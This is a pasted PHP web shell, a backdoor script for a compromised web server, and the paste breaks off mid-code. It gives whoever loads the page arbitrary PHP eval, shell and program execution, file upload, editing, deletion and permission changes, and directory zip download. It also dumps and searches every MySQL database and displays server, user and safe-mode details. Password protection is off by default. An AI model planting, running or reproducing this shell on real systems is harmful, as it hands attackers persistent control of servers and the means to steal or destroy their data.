· 9 years ago · Jul 07, 2017, 05:44 AM
1<?php
2$settings = array();
3$settings['perms'] = "string";
4$settings['timeformat'] = "j.n.y, G:i";
5$settings['passprotect'] = false; //password protection
6$settings['users'] = array();
7//$settings['users']['USERNAME'] = 'PASSWORD';
8@ini_set('log_errors',0);
9@ini_set("display_errors", "1");
10@ini_set('memory_limit', '1200M');
11set_time_limit(360);
12if(ini_get('register_globals')) {
13 foreach($_REQUEST as $key => $var) {
14 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
15 }
16 foreach($_FILES as $key => $var) {
17 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
18 }
19}
20
21if(!function_exists('scandir')) {
22 function scandir($dir, $sort = 0) {
23 $dirmap = array();
24 if(!is_dir($dir)) {
25 return false;
26 }
27 $dir = opendir($dir);
28 while (false !== ($file = readdir($dir))) $dirmap[] = $file;
29 closedir($dir);
30 ($sort == 1) ? rsort($dirmap) : sort($dirmap);
31 return $dirmap;
32 }
33}
34if($settings['passprotect']) {
35 if (!isset($_SERVER['PHP_AUTH_USER'])) {
36 header('WWW-Authenticate: Basic realm="Shell account please"');
37 header('HTTP/1.0 401 Unauthorized');
38 echo 'NO.';
39 exit;
40 } else {
41 if(isset($settings['users'][$_SERVER['PHP_AUTH_USER']])) {
42 if($settings['users'][$_SERVER['PHP_AUTH_USER']] == $_SERVER['PHP_AUTH_PW']) {
43 $authed = 1;
44 } else die("NOPE.");
45 } else die("NOPE!");
46 }
47}
48if(get_magic_quotes_gpc()) {
49 foreach($_POST as $key => $var) {
50 $_POST[$key] = stripslashes($var);
51 }
52 foreach($_GET as $key => $var) {
53 $_GET[$key] = stripslashes($var);
54 }
55 foreach($_FILES as $key => $var) {
56 $_FILES[$key] = stripslashes($var);
57 }
58 foreach($_REQUEST as $key => $var) {
59 $_REQUEST[$key] = stripslashes($var);
60 }
61}
62if(!function_exists('sys_get_temp_dir')) {
63 function sys_get_temp_dir() {
64 return "/tmp";
65 }
66}
67function post($v) {
68 if(isset($_POST[$v])) return $_POST[$v];
69 else return null;
70}
71function get($v) {
72 if(isset($_GET[$v])) return $_GET[$v];
73 else return null;
74}
75function request($v) {
76 if(isset($_REQUEST[$v])) return $_REQUEST[$v];
77 else return null;
78}
79
80function files($v) {
81 if(isset($_FILES[$v])) return $_FILES[$v];
82 else return null;
83}
84
85function showperms($perms,$type="string") {
86 switch($type) {
87 default:
88 case "string":
89 if (($perms & 0xC000) == 0xC000) {
90 // Socket
91 $info = 's';
92 } elseif (($perms & 0xA000) == 0xA000) {
93 // Symbolic Link
94 $info = 'l';
95 } elseif (($perms & 0x8000) == 0x8000) {
96 // Regular
97 $info = '-';
98 } elseif (($perms & 0x6000) == 0x6000) {
99 // Block special
100 $info = 'b';
101 } elseif (($perms & 0x4000) == 0x4000) {
102 // Directory
103 $info = 'd';
104 } elseif (($perms & 0x2000) == 0x2000) {
105 // Character special
106 $info = 'c';
107 } elseif (($perms & 0x1000) == 0x1000) {
108 // FIFO pipe
109 $info = 'p';
110 } else {
111 // Unknown
112 $info = 'u';
113 }
114
115 // Owner
116 $info .= (($perms & 0x0100) ? 'r' : '-');
117 $info .= (($perms & 0x0080) ? 'w' : '-');
118 $info .= (($perms & 0x0040) ?
119 (($perms & 0x0800) ? 's' : 'x' ) :
120 (($perms & 0x0800) ? 'S' : '-'));
121
122 // Group
123 $info .= (($perms & 0x0020) ? 'r' : '-');
124 $info .= (($perms & 0x0010) ? 'w' : '-');
125 $info .= (($perms & 0x0008) ?
126 (($perms & 0x0400) ? 's' : 'x' ) :
127 (($perms & 0x0400) ? 'S' : '-'));
128
129 // World
130 $info .= (($perms & 0x0004) ? 'r' : '-');
131 $info .= (($perms & 0x0002) ? 'w' : '-');
132 $info .= (($perms & 0x0001) ?
133 (($perms & 0x0200) ? 't' : 'x' ) :
134 (($perms & 0x0200) ? 'T' : '-'));
135 return $info;
136 break;
137 case "number":
138 return substr(sprintf('%o', $perms), -4);
139 break;
140 }
141
142}
143
144
145function gettablesql($table,$ver = null) {
146 if($ver == null) {
147 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
148 $ver = substr($cver,0,1);
149 }
150 echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n";
151 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
152 $getcolumns = mysql_query($gcqu);
153 if($getcolumns) {
154 $isfirst = 1;
155 $primaries = $npkeys = array();
156 while($column = mysql_fetch_assoc($getcolumns)) {
157 if(!$isfirst) echo ",\n";
158 else $isfirst = 0;
159 echo ' `'.mysql_real_escape_string($column['Field']).'` '.$column['Type'];
160 if(strtoupper($column['Null']) == "NO") echo ' NOT NULL ';
161 else echo ' NULL ';
162 if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT";
163 elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']);
164 elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'";
165 if($column['Key'] == "PRI") $primaries[] = $column['Field'];
166 elseif($column['Key'] == "UNI") echo ",\n UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)";
167 else {
168 if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'";
169 else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`";
170 $getkeys = mysql_query($gkqu);
171 if($getkeys) {
172 while($key = mysql_fetch_assoc($getkeys)) {
173 if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) {
174 $npkeys[$key['Key_name']][] = $key;
175 }
176 }
177 } else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n");
178 }
179 }
180 if($npkeys) {
181 foreach($npkeys as $keyname => $key) {
182 if(count($key) == 1) {
183 //no multirow key
184 $key = $key[0];
185 if($key['Non_unique']) {
186 echo ",\n KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
187 }
188 else {
189 echo ",\n UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
190 }
191 } else {
192 if($key[0]['Non_unique']) {
193 echo ",\n KEY (";
194 }
195 else {
196 echo ",\n UNIQUE KEY (";
197 }
198 $isfirst = 1;
199 foreach($key as $keypart) {
200 if(!$isfirst) echo ", ";
201 else $isfirst = 0;
202 echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : '');
203 }
204 echo ")";
205
206 }
207 }
208 }
209 if($primaries) {
210 echo ",\n PRIMARY KEY (";
211 $isfirst = 1;
212 foreach($primaries as $primary) {
213 if(!$isfirst) echo ", ";
214 else $isfirst = 0;
215 echo '`'.mysql_real_escape_string($primary).'`';
216 }
217 echo ")\n";
218 }
219 } else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n");
220 echo ");\n\n";
221}
222function gettablecontentsql($table,$insertbreak = 10,$ver = 0) {
223 if($ver == null) {
224 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
225 $ver = substr($cver,0,1);
226 }
227 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
228 $getcolumns = mysql_query($gcqu);
229 if($getcolumns) {
230 $columns = array();
231 while($column = mysql_fetch_assoc($getcolumns)) {
232 list($type) = explode("(",$column['Type'],2);
233 $columns[] = $column + array('rtype' => $type);
234 if($column['Extra'] == "auto_increment") $aitab = $column['Field'];
235 }
236 } else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n");
237 $insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` (";
238 $isfirst = true;
239 foreach($columns as $column) {
240 if(!$isfirst) $insertstart .= ", ";
241 else $isfirst = false;
242 $insertstart .= "`".mysql_real_escape_string($column['Field'])."`";
243 }
244 $insertstart .= ") VALUES (";
245 $insertend = ");\n";
246 $getrows = mysql_query("SELECT * FROM `".mysql_real_escape_string($table)."` ".(!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : ""));
247 $i = 0;
248 while($row = mysql_fetch_assoc($getrows)) {
249 if(!($i%$insertbreak)) echo $insertstart;
250 else echo ", (";
251 $isfirst = true;
252 foreach($columns as $column) {
253 if(!$isfirst) echo ", ";
254 else $isfirst = false;
255 if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null";
256 else {
257 switch($column['rtype']) {
258 default: echo "'".mysql_real_escape_string($row[$column['Field']])."'"; break;
259 case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']]; break;
260
261 }
262 }
263 }
264 if(!(($i+1)%$insertbreak)) echo $insertend;
265 else echo ")";
266 $i++;
267 }
268 if($i != 0) echo ";\n";
269}
270function findindb($needle,$type='col',$identical = 0) {
271 $getdatabases = mysql_list_dbs();
272 while ($db = mysql_fetch_row($getdatabases)) {
273 mysql_query("USE `".$db[0]."`");
274 $gettables = mysql_query("SHOW TABLES");
275 while($table= mysql_fetch_row($gettables)) {
276 if($type == 'col') {
277 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`");
278 if($getcolumns) {
279 while($column = mysql_fetch_assoc($getcolumns)) {
280 foreach($needle as $n) {
281 if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) {
282 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Column: <b>".htmlentities($column['Field'])."</b> Found: ".htmlentities($n)."<br />";
283 break;
284 }
285 }
286 }
287 }
288 } elseif($type == 'table') {
289 foreach($needle as $n) {
290 if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) {
291 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Found: ".htmlentities($n)."<br />";
292 break;
293 }
294 }
295 }
296 }
297 }
298}
299function get_iden_query($iden) {
300 if($iden) {
301 $iden = base64_decode($iden);
302 $crit = explode("&",$iden);
303 if($crit) {
304 $query = "";
305 $error = 0;
306 foreach($crit as $cr) {
307 if(strpos($cr,"=") !== false) {
308 $crits = explode("=",$cr,2);
309 $query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'";
310 } else {
311 $error = 1;
312 break;
313 }
314 }
315 if(!$error) {
316 return $query;
317 } else echo "Error: invalid data specified.";
318 } else echo "Error: No specific row selected.";
319 } else echo "Error: That row doesn't exist (anymore?)";
320 return false;
321}
322$action = get('action');
323if(!request('shownone')) {
324?>
325<div style="font-size:12px; margin:0px; margin-bottom:5px; border:0px; border-bottom:1px black solid; padding:0px; ">
326 [<a href="?action=dir">Files/directories</a>]
327 [<a href="?action=eval">Execute PHP Code (eval)</a>]
328 [<a href="?action=shellexec">Execute Shell</a>]
329 [<a href="?action=exec">Execute ext. program</a>]
330 [<a href="?action=phpinfo">PHPInfo();</a>]
331 [<a href="?action=showglobals">Show all vars</a>]
332 [<a href="?action=mysql">MySQL</a>]
333 [<a href="?action=system">System</a>]
334 <br>
335 [<?php $thingcache = @php_uname(); if($thingcache) list($kernel) = explode("#",$thingcache,2); else $kernel = "Couldn't retrieve Kernel version"; echo $kernel; ?>]
336 [PHP Ver: <?php echo phpversion(); ?>]
337 <?php if(function_exists('php_ini_loaded_file')) { ?>[Ini file: <?php echo php_ini_loaded_file(); ?>]<?php } ?>
338 [User: <?php $thingcache = @get_current_user(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
339 [GID: <?php $thingcache = @getmygid(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
340 [UID: <?php $thingcache = @getmyuid();if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
341 [Safe mode: <?php if(ini_get("safe_mode") || strtolower(ini_get("safe_mode")) == "on") echo "on"; else echo "off"; ?>]
342 [Open basedir: <?php if(ini_get("open_basedir") || strtolower(ini_get("open_basedir")) == "on") echo "on"; else echo "off"; ?>]
343 <br><span style="font-size:11px;">[Server: <?php echo htmlentities($_SERVER['SERVER_SOFTWARE']);?>]</span>
344 <br><span style="font-size:11px;">[Server IP: <?php echo htmlentities($_SERVER['SERVER_ADDR']);?> (<?php echo htmlentities($_SERVER['SERVER_NAME']);?>)] [Your IP: <?php echo htmlentities($_SERVER['REMOTE_ADDR']);?> (<?php echo htmlentities(gethostbyaddr($_SERVER['REMOTE_ADDR']));?>)]
345 [Space: <?php if(@disk_free_space(getcwd()) && @disk_total_space(getcwd())) { echo round(disk_free_space(getcwd())/(1024*1024*1024),2);?>/<?php echo round(disk_total_space(getcwd())/(1024*1024*1024),2);?>GB<?php } else echo "Couldn't retrieve"; ?>] [Script pos: <a href="?action=dir&dir=<?php echo urlencode(getcwd());?>"><?php echo getcwd(); ?></a>]</span>
346
347 </div>
348<?php
349}
350switch($action) {
351 default:
352 case "dir":
353 //add other options here later
354 case "listdir":
355 if(!get('dir')) $dir = getcwd();
356 else $dir = get('dir');
357 ?>
358 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
359 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
360 Directory navigation: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>" size="60">
361 <input type="submit" value="List Dir">
362 </form>
363 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
364 <input type="hidden" name="action" value="touch">
365 Touch (create) file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
366 <input type="submit" value="Make file">
367 </form>
368 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
369 <input type="hidden" name="action" value="file">
370 Edit file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
371 <input type="submit" value="Open file">
372 </form>
373 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
374 <input type="hidden" name="action" value="mkdir">
375 Make directory: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>/" size="60">
376 <input type="submit" value="Make dir">
377 </form>
378 <form style="margin:0px;" enctype="multipart/form-data" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>?action=upfile" method="POST">
379 <input type="hidden" name="dir" value="<?php echo htmlentities($dir); ?>">
380 Upload file to this dir: <input name="file" type="file">
381 <input type="submit" value="Upload file">
382 overwrite? <input type="checkbox" name="overwrite" value="1" />
383 rename? <input type="text" name="fname" value="" size="20">
384 </form>
385
386 <?php
387 if(@is_dir($dir)) {
388 if($dircontent = scandir($dir)) {
389 echo "<table border=\"1\">";
390 ?><tr><td>type</td><td>go</td><td>X</td><td>DL</td><td>name</td><td>size</td><td>mode</td><td>owner</td><td>group</td><td>access</td><td>change</td></tr><?php
391 foreach($dircontent as $thing) {
392 if(@is_dir($dir."/".$thing)) $isdir = true;
393 else $isdir = false;
394
395 if($thing == ".") $thingpath = "/";
396 else $thingpath = @realpath($dir."/".$thing);
397 ?>
398 <tr>
399 <td>
400 <?php
401 if($isdir) echo "<font color=\"#AAAA00\"><b>dir</b></font>";
402 else echo "<font color=\"#AAAAAA\"><b>file</b></font>";
403 ?>
404 </td>
405 <td>
406 <?php
407 if($isdir) echo "<a href=\"?action=listdir&dir=".urlencode($thingpath)."\">go</a>";
408 else echo "<a href=\"?action=file&file=".urlencode($thingpath)."\">go</a>";
409 ?>
410 </td>
411 <td>
412 <?php
413 if($isdir) { if($thingpath != "/") echo "<a href=\"?action=rmdir&dir=".urlencode($thingpath)."\">rm</a>"; }
414 else echo "<a href=\"?action=delfile&file=".urlencode($thingpath)."\">del</a>";
415 ?>
416 </td>
417 <td>
418 <?php
419 if(!$isdir) echo "<a href=\"?action=dlfile&shownone=true&file=".urlencode($thingpath)."\">dl</a>";
420 else echo "<a href=\"?action=zipdir&shownone=true&dir=".urlencode($thingpath)."\">zip</a>";
421 ?>
422 </td>
423 <td>
424 <b><?php echo htmlentities($thing); ?></b>
425 </td>
426 <td>
427 <?php
428 if($isdir) { echo "-"; }
429 else echo ((round(filesize($thingpath)/1024,2) != 0) ? (round(filesize($thingpath)/1024,2)." kb") : (filesize($thingpath)."b"));
430 ?>
431 </td>
432 <td>
433 <b style='font-family:courier,"courier new";'>
434 <?php
435 echo showperms(@fileperms($thingpath),$settings['perms']);
436 ?>
437 </b>
438 </td>
439 <td>
440 <?php
441 echo @fileowner($thingpath);
442 ?>
443 </td>
444 <td>
445 <?php
446 echo @filegroup($thingpath);
447 ?>
448 </td>
449 <td>
450 <?php
451 echo date($settings['timeformat'],@fileatime($thingpath));
452 ?>
453 </td>
454 <td><b>
455 <?php
456 echo date($settings['timeformat'],@filectime($thingpath));
457 ?>
458 </b></td>
459 </tr>
460 <?php
461 }
462 echo "</table>";
463 } else {
464 echo "<b>Error:</b> No permission to open \"".htmlentities($dir)."\". DENIED!<br>";
465 }
466 } else {
467 echo "<font color=\"#990000\">";
468 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
469 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
470 echo "</font>";
471 }
472
473 break;
474 case "upfile":
475 if($file = files('file')) {
476 $dir = (trim(post('dir')) && is_dir(trim(post('dir')))) ? trim(post('dir')) : getcwd();
477 if(substr($dir,-1,1) != "/") $dir .= "/";
478 if(trim(post('fname'))) $filename = $dir.trim(post('fname'));
479 else $filename = $dir.$file['name'];
480 if(file_exists($filename)) {
481 echo "<font color=\"#990000\">File ".htmlentities($filename)." already exists!</font><br>";
482 }
483 if(!file_exists($filename) || post('overwrite')) {
484 if(file_exists($filename)) echo "<b>Overwriting...</b><br>";
485 if(move_uploaded_file($file['tmp_name'], $filename)) {
486 echo "<font color=\"#00AA00\"><b>FILE UPLOADED!</b></font><br>";
487 } else {
488 echo "<font color=\"#990000\">Upload failed. Fuck. </font><br>";
489 }
490 }
491
492 } else echo "<font color=\"#990000\"><b>Error:</b> No file uploaded</font><br>";
493 ?>
494[<a href="?action=dir&dir=<?php echo urlencode($dir);?>">containing directory</a>]
495[<a href="?action=delfile&file=<?php echo urlencode($filename);?>">delete again</a>]
496[<a href="?action=php&file=<?php echo urlencode($filename);?>">as php source</a>]
497[<a href="?action=html&file=<?php echo urlencode($filename);?>">as html</a>]
498[<a href="?action=file&file=<?php echo urlencode($filename);?>">edit file</a>]
499
500 <?php
501 break;
502 case "file":
503 case "editfile":
504 $file = get('file');
505 if($file) {
506 if(is_file($file)) {
507 if(post('newname') && post('newname') != $file) {
508 if(post('fnoverwrite') || !file_exists(post('newname'))) {
509 if(rename($file,post('newname'))) {
510 echo "<font color=\"#00AA00\"><b>File name changed successfully</b></font><br>";
511 $file = post('newname');
512 }
513 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name</font><br>";
514 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name - a file with that name already exists!</font><br>";
515 }
516 if(post('copyto') && post('copyto') != $file) {
517 if(post('fcoverwrite') || !file_exists(post('copyto'))) {
518 if(copy($file,post('copyto'))) {
519 echo "<font color=\"#00AA00\"><b>File copied successfully</b></font><br>";
520 }
521 else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file</font><br>";
522 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file - a file with that name already exists!</font><br>";
523 }
524 if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) {
525 if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) {
526 if(chmod($file,octdec(post('chmod')))) {
527 echo "<font color=\"#00AA00\"><b>File CHMod to ".htmlspecialchars(post('chmod'))." successful</b></font><br>";
528 $chmod = htmlspecialchars(post('chmod'));
529 }
530 else echo "<font color=\"#990000\"><b>Error:</b> Failed to CHMod</font><br>";
531 } else echo "<font color=\"#990000\"><b>Error:</b> That is not a valid CHMod number.</font><br>";
532 }
533 if(post('owner') && post('owner') != fileowner($file)) {
534 if(chown($file,post('owner'))) echo "<font color=\"#00AA00\"><b>File owner changed successfully</b></font><br>";
535 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change owner </font><br>";
536 }
537 if(post('group') && post('group') != filegroup($file)) {
538 if(chgrp($file,post('group'))) echo "<font color=\"#00AA00\"><b>File group changed successfully</b></font><br>";
539 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change group </font><br>";
540 }
541 }
542 }
543 case "php":
544 case "html":
545 $file = get('file');
546 ?>
547 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
548 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
549 File: <input type="text" name="file" value="<?php echo htmlentities($file);?>" size="60">
550 <input type="submit" value="List">
551 </form>
552
553 <?php
554 if($file) {
555 if(is_file($file)) {
556 $info = pathinfo($file);
557 if(post('contents')) {
558 if(file_put_contents($file,post('contents'))) {
559 echo "<font color=\"#00AA00\"><b>File edited successfully</b></font><br>";
560 } else echo "<font color=\"#990000\"><b>Error:</b> Can't writing to file!</font><br>";
561 }
562 if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4);
563 ?>
564 <form method="POST" action="<?php echo htmlentities(post('SCRIPT_NAME'));?>?action=<?php echo htmlentities($action); ?>&file=<?php echo htmlentities($file)?>">
565 new file name/path: <input type="text" name="newname" value="<?php echo htmlentities($file);?>" size="60"> <input type="checkbox" name="fnoverwrite" value="1">Overwrite existing files<br>
566 copy to: <input type="text" name="copyto" value="" size="60"> <input type="checkbox" name="fcoverwrite" value="1">Overwrite existing files<br>
567 new CHMOD: <input type="text" name="chmod" value="<?php echo $chmod;?>" size="60"><br>
568 new File owner (id or name): <input type="text" name="owner" value="<?php echo htmlentities(fileowner($file));?>" size="60"><br>
569 new File group (id or name): <input type="text" name="group" value="<?php echo htmlentities(filegroup($file));?>" size="60"><br>
570 <?php
571 if($action != "php" && $action != "html") {
572 ?>
573 <textarea name="contents" style="width:80%; height:500;"><?php
574 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
575 if($handle) {
576 while (!feof($handle)) {
577 $buffer = fgets($handle, 4096);
578 echo htmlentities($buffer);
579 }
580 fclose ($handle);
581 } else echo "Could not open file! Denied!";
582 ?></textarea><br>
583 <?php
584 } elseif($action == "php") {
585 echo "<hr />";
586 if(highlight_file($file));
587 else echo "Could not open file! Denied!";
588 echo "<hr />";
589 } elseif($action == "html") {
590 echo "<hr />";
591 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
592 if($handle) {
593 while (!feof($handle)) {
594 $buffer = fgets($handle, 4096);
595 echo $buffer;
596 }
597 fclose ($handle);
598 } else echo "Could not open file! Denied!";
599 echo "<hr />";
600 }
601 ?>
602 <input type="submit" value="edit!"> [<a href="?action=dir&dir=<?php echo urlencode($info['dirname']);?>">containing directory</a>] [<a href="?action=delfile&file=<?php echo urlencode($file);?>">delete</a>] [<a href="?action=php&file=<?php echo urlencode($file);?>">as php source</a>] [<a href="?action=html&file=<?php echo urlencode($file);?>">as html</a>] [<a href="?action=file&file=<?php echo urlencode($file);?>">edit file</a>]
603 </form>
604 <?php
605 } else {
606 echo "<font color=\"#990000\">";
607 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
608 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
609 echo "</font>";
610 }
611 }
612 break;
613 case "delfile":
614 $file = get('file');
615 if($file) {
616 if(is_file($file)) {
617 if(post('sure')) {
618 if(unlink($file)) echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" deleted successfully!</b></font><br><a href=\"?action=dir&dir=".htmlentities(( substr($file,0,strrpos($file,'/')) ))."\">Back to the directory listing</a>";
619 else echo "<font color=\"#990000\"><b>Error while deleting the file \"".htmlentities($file)."\"!</b></font>";
620 } else {
621 ?>
622 <form method="POST">
623 Do you really want to delete the file "<?php echo htmlentities($file); ?>"?<br>
624 <input type="checkbox" name="sure" value="1"> Yes.<br>
625 <input type="submit" value="Do it!">
626 </form>
627 <?php
628 }
629 } else {
630 echo "<font color=\"#990000\">";
631 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
632 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
633 echo "</font>";
634 }
635 }
636 break;
637 case "dlfile":
638 $file = get('file');
639 if($file) {
640 if(is_file($file)) {
641 $ffile = substr(strrchr($file,'/'),1);
642 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
643 if($handle) {
644 header('Content-Disposition: attachment; filename="'.$ffile.'"');
645 header('Content-Transfer-Encoding: binary');
646 header("Content-Length: " . filesize($file));
647 while (!feof($handle)) {
648 $buffer = fgets($handle, 4096);
649 echo $buffer;
650 }
651 fclose ($handle);
652 } else echo "Could not open file! Denied!";
653 } else echo "not a file";
654 } else echo "no file";
655 break;
656 case "rmdir":
657 $dir = get('dir');
658 if($dir) {
659 if(is_dir($dir)) {
660 if(post('sure')) {
661 if(rmdir($dir)) echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" deleted successfully!</b></font><br><a href=\"?action=dir\">Back to the directory listing</a>";
662 else echo "<font color=\"#990000\"><b>Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)</b></font>";
663 } else {
664 ?>
665 <form method="POST">
666 Do you really want to delete the directory "<?php echo htmlentities($dir); ?>"? (it has to be empty)<br>
667 <input type="checkbox" name="sure" value="1"> Yes.<br>
668 <input type="submit" value="Do it!">
669 </form>
670 <?php
671 }
672 } else {
673 echo "<font color=\"#990000\">";
674 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
675 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a directory<br>";
676 echo "</font>";
677 }
678 }
679 break;
680 case "zipdir":
681 ignore_user_abort(true);//this is to make sure the zip archive gets deleted from the temp folder
682 $dir = get('dir');
683 if($dir) {
684 if(is_dir($dir)) {
685 $fdir = substr(strrchr(substr($dir,1),'/'),1);
686 if(class_exists('ZipArchive') && !isset($_GET['sh']) && !isset($_GET['tar'])) {
687 $zip = new ZipArchive();
688 $tmpfile = tempnam(sys_get_temp_dir(), "zip");
689 if(eval('return $zip->open($tmpfile, ZipArchive::CREATE | ZIPARCHIVE::OVERWRITE);')) {//the eval is for php4
690 $dirName = $dir;
691 if (!is_dir($dirName)) {
692 echo 'Directory ' . $dirName . ' does not exist';
693 } else {
694
695
696 $dirName = realpath($dirName);
697 if (substr($dirName, -1) != DIRECTORY_SEPARATOR) {
698 $dirName.= DIRECTORY_SEPARATOR;
699 }
700
701 $dirStack = array($dirName);
702 //Find the index where the last dir starts
703 $cutFrom = strrpos(substr($dirName, 0, -1), DIRECTORY_SEPARATOR)+1;
704
705 while (!empty($dirStack)) {
706 $currentDir = array_pop($dirStack);
707 $filesToAdd = array();
708
709 $dir = dir($currentDir);
710 while (false !== ($node = $dir->read())) {
711 if (($node == '..') || ($node == '.')) {
712 continue;
713 }
714 if (is_dir($currentDir . $node)) {
715 array_push($dirStack, $currentDir . $node . DIRECTORY_SEPARATOR);
716 }
717 if (is_file($currentDir . $node)) {
718 $filesToAdd[] = $node;
719 }
720 }
721
722 $localDir = substr($currentDir, $cutFrom);
723 $zip->addEmptyDir($localDir);
724
725 foreach ($filesToAdd as $file) {
726 $zip->addFile($currentDir . $file, $localDir . $file);
727 }
728 }
729
730 $zip->close();
731 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
732 if($handle) {
733 header("Content-Type: application/zip");
734 header("Content-Length: " . filesize($tmpfile));
735 header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
736 while (!feof($handle)) {
737 echo fgets($handle, 4096);
738 }
739 fclose ($handle);
740 } else echo "Could not open zip file. Weird.";
741 }
742 unlink($tmpfile);
743 } else {
744 echo "error while creating zip";
745 }
746
747 } else {
748 //echo "<font color=\"#990000\">ZipArchive class not available! Can't zip anything!</font>";
749 //Zip not available -> using cmd instead
750 $tmpfile = tempnam(sys_get_temp_dir(), "zip").".zip";
751 if(!isset($_GET['tar']) && $cmd = exec("zip -r \"".$tmpfile."\" \"".realpath($dir)."\"",$output,$ret)) {
752 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
753 if($handle) {
754 header("Content-Type: application/zip");
755 header("Content-Length: " . filesize($tmpfile));
756 header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
757 while (!feof($handle)) {
758 echo fgets($handle, 4096);
759 }
760 fclose ($handle);
761 } else {
762 echo "Could not open zip. Weird.";
763 }
764 if(file_exists($tmpfile)) unlink($tmpfile);
765 } else {
766 //echo "zip failed:<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
767 if(file_exists($tmpfile)) unlink($tmpfile);
768
769 $tmpfile = tempnam(sys_get_temp_dir(), "tar").".tar";
770 $cmdd = "tar -cf \"".$tmpfile."\" \"".realpath($dir)."\"";
771 $cmd = exec($cmdd,$output,$ret);
772 if(!$ret) {
773 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
774 if($handle) {
775 header("Content-Type: application/tar");
776 header("Content-Length: " . filesize($tmpfile));
777 header("Content-Disposition: attachment; filename=\"".$fdir.".tar\"");
778 while (!feof($handle)) {
